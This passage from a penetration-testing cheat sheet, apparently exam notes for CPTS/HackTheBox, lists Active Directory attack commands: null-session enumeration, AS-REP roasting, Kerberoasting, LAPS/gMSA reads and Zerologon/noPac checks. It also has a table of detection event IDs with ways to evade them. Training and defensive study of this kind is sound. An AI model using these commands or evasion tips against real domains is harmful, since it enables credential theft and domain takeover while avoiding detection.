    833 | 1 | Anon LDAP / null SMB | `nxc smb $IP -u '' -p '' --users --shares` | free user list / share loot |
    834 | 2 | RID brute | `nxc smb $IP -u '' -p '' --rid-brute` | full user list |
    835 | 3 | AS-REP roast (no creds) | `GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP` | crack → Stage 05 |
    836 | 4 | pre2k machine accounts | `nxc ldap $DC -u '' -p '' -M pre2k` | free machine cred |
    837 | 5 | Password policy | `nxc smb $IP -u "$U" -p "$P" --pass-pol` | sets spray math |
    838 | 6 | Descriptions/info fields | `nxc ldap $DC -u "$U" -p "$P" -M get-desc-users` | free creds |
    839 | 7 | Kerberoast sweep | `nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt` | crack → Stage 05 |
    840 | 8 | LAPS read | `nxc ldap $DC -u "$U" -p "$P" -M laps` | local admin |
    841 | 9 | gMSA read | `python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC` | service NT hash |
    842 | 10 | Shares + content | `--shares` → `-M spider_plus` → Snaffler | cred files → Stage 08 |
    843 | 11 | BloodHound collect | `bloodhound-ce-python -c All --zip` | the path map |
    844 | 12 | DC one-shot CVEs | `nxc smb $DC -M zerologon` / `-M nopac` | instant DA |
    845 
    846 > [!tip] CPTS reality check
    847 > On exam boxes the intended path is almost always visible after items 1–11 — the box author planted *one* of: a description-field password, a roastable account, a share with creds, a LAPS/gMSA read, or a single ACL edge. If none of the 12 hit, the missing piece is almost always **a cred I already have but haven't re-enumerated as** (go back to the doctrine in 4.2).
    848 
    849 ---
    850 
    851 ### 🛡️ OPSEC & detection — what the blue team sees
    852 
    853 > [!danger] Enumeration is the loudest phase — assume every query is logged
    854 > | Signal I generate | Detection / Event ID | Mitigation |
    855 > |---|---|---|
    856 > | Mass LDAP queries (PowerView `-SPN`, full dumps) | **Event 1644** (expensive/inefficient LDAP query logging, when enabled); ATA/MDI "reconnaissance" alerts | Query surgically; one filter per question; avoid `(objectClass=*)` full dumps; throttle |
    857 > | kerbrute userenum | Burst of **4768** AS-REQs (success+failure) from one source | Small curated lists, low threads, jitter |
    858 > | Password spray | **4771** failures clustered in the observation window; 4625 via NTLM path | Stay under threshold; `--jitter`; log my own attempts |
    859 > | SharpHound `-c All` | SMB/RPC fan-out to every host; session-enum signatures; EDR flags collector binary by hash/name | `DCOnly` first; rename binary; `execute-assembly`; `--stealth` |
    860 > | Snaffler | Massive SMB file-read volume; honey-share touches | Scope `-i`; verify shares aren't bait |
    861 > | Honeypot accounts | A too-perfect `svc_backup` with a weak password + `adminCount=1` that never logs on = tripwire; any auth attempt alerts | Cross-check `lastLogon`/`pwdLastSet` before using "free" creds; a roastable account with an *ancient* password and no logons is bait until proven otherwise |
    862 >
    863 > Rules of thumb: **enumerate with the least privilege and fewest protocols that answer the question**; prefer one good LDAP filter over ten scans; and keep my own timestamps — if the client calls about an alert, I want to answer "yes, that was me, 14:03–14:11 UTC" in one breath.
    864 
    865 ---
    866 
    867 > [!navigation] Continue the attack flow
    868 > **Previous:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration)
    869 >
    870 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
    871 >
    872 > **Next:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)